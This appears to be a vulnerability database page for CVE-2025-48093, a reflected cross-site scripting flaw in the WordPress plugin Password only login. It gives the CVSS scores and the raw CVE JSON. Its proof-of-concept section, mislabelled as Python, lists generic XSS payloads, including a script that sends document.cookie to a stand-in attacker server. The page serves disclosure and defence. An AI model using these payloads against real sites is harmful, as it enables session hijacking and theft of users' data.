Security Vulnerability Report
中文
CVE-2025-48093 CVSS 7.1 HIGH

CVE-2025-48093

Published: 2025-10-22 15:15:34
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Calvaweb Password only login password-only-login allows Reflected XSS.This issue affects Password only login: from n/a through <= 0.2.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Calvaweb Password only login <= 0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-48093: Reflected XSS in WordPress Password Only Login Plugin Vulnerable versions: <= 0.2 The vulnerability exists due to improper input neutralization in the plugin's web page generation. Malicious payloads injected via URL parameters are reflected back in the response without proper sanitization. --> <!-- Example 1: Basic XSS payload via URL parameter --> <!-- Malicious URL structure: http://target-site.com/?password-only-login-param=<script>alert('XSS')</script> The exact parameter name depends on the plugin's implementation. --> <!-- Example 2: Cookie stealing payload --> <script> var img = new Image(); img.src = "http://attacker-server.com/steal?cookie=" + document.cookie; </script> <!-- Example 3: URL-encoded payload to bypass basic filters --> <!-- http://target-site.com/?param=%3Cscript%3Ealert(document.domain)%3C/script%3E --> <!-- Example 4: Using event handlers as alternative XSS vector --> <img src=x onerror=alert(document.cookie)> <!-- Example 5: Full exploitation URL example --> <!-- http://vulnerable-wordpress-site.com/wp-admin/?[vulnerable_param]=<svg/onload=alert(document.cookie)> Note: The actual parameter and endpoint should be identified through fuzzing the plugin's functionality. Common vectors include search fields, login form inputs, or redirect parameters handled by the password-only-login plugin. --> <!-- Remediation: Update the Password only login plugin to a version newer than 0.2. The vendor has addressed this issue by properly sanitizing and escaping user inputs before rendering them in the web page. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48093", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:34.090", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Calvaweb Password only login password-only-login allows Reflected XSS.This issue affects Password only login: from n/a through <= 0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/password-only-login/vulnerability/wordpress-password-only-login-plugin-0-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}